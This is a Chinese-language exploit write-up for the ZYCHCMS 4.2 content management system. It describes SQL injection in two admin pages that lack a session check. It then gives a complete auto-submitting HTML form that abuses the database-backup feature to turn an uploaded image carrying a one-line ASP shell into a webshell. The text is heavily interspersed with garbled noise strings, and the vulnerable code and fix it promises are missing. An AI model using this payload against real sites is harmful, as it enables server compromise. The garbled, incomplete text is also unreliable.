ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

2 B8 w7 b& y% e3 `' H* D

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
( R8 \0 O5 S' _+ w& L 漏洞原因：未过滤
漏洞代码：
1 }2 V' b' |' P) g 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码

# x* U6 \+ g, Z
②后台拿WBSHELL
+ d: v0 T( T: X' t; p9 f 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
9 b: L* M: k* k2 M0 I4 ^ 这里在网上找了一个，改了下，将就着用。
0 ]3 x- Y' Z: L/ u9 w! F 以下是代码本地提交代码


' D6 X; j' A$ [( q7 ]% S- Q# I. C+ @<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
7 p$ {( n/ n' z+ X5 V" z9 b3 W <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
' Y  P% b5 Q& y+ c <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
  t1 j- c# ~" b$ ~) t </tr>
$ z4 t9 ~+ p- ]; o3 F  S% S& H <tr>
, g% T# p. A, W1 h <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
8 U. n/ f) n) q% M, ], [: }( _ </span>
6 O6 ]5 b* H) ~9 y; y9 W8 R' j <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
4 |- t9 g5 J$ M! w <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
) s; S# x+ e% M7 W! u$ Y <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
  Q8 I+ z9 g+ \, F! Q <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
2 s! W1 o0 ?$ H1 C <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
" F% e, {* m1 m- t. R( `- \) e <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
6 x8 Y$ u, u6 C2 s </div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
% ]) M/ L" d4 ^% y5 r <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
: F4 p% K6 j% a3 ~( }8 P. r <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
( q: R# ?6 D" z* L, R6 D4 x [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
; q" H& P# t* b+ n8 ^7 v <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
6 [$ K- [, `9 e1 c: c <td class=”td”><div align=”left”>
4 J& h  f( ^4 x2 R <input type=”submit” value=”确定备份” class=”btn”
) V6 Q$ w0 e. _( {* n5 M! h& O </div></td>
</tr>
</table></td></tr></form>
+ x$ U: A8 W/ q6 f/ l </table>
</td>
% q2 c/ N& i. J# E+ G; N </tr>
( X* r, @& K' T' X1 F4 t) } </table>
4 ^+ ~& ~1 C4 c. B- m' S <script>
document.all.add.submit();
</script>
. v- ?. ^1 A' W- g: `. w6 z8 d( Z
$ ]+ X. R/ Z: P- V* a
2 ~7 N* V3 X; t4 _! D' w  e
' s# }* E  H4 e! r- g

' a* _& d! O) g; M  n" [
8 b/ }6 I9 |( I( \

3 r& r$ e8 _  |0 _7 p2 L' A
1 e- S( L, Y$ f1 f  P. U0 \2 s
0 u) f: X; T- A3 e( m$ \2 S; K* _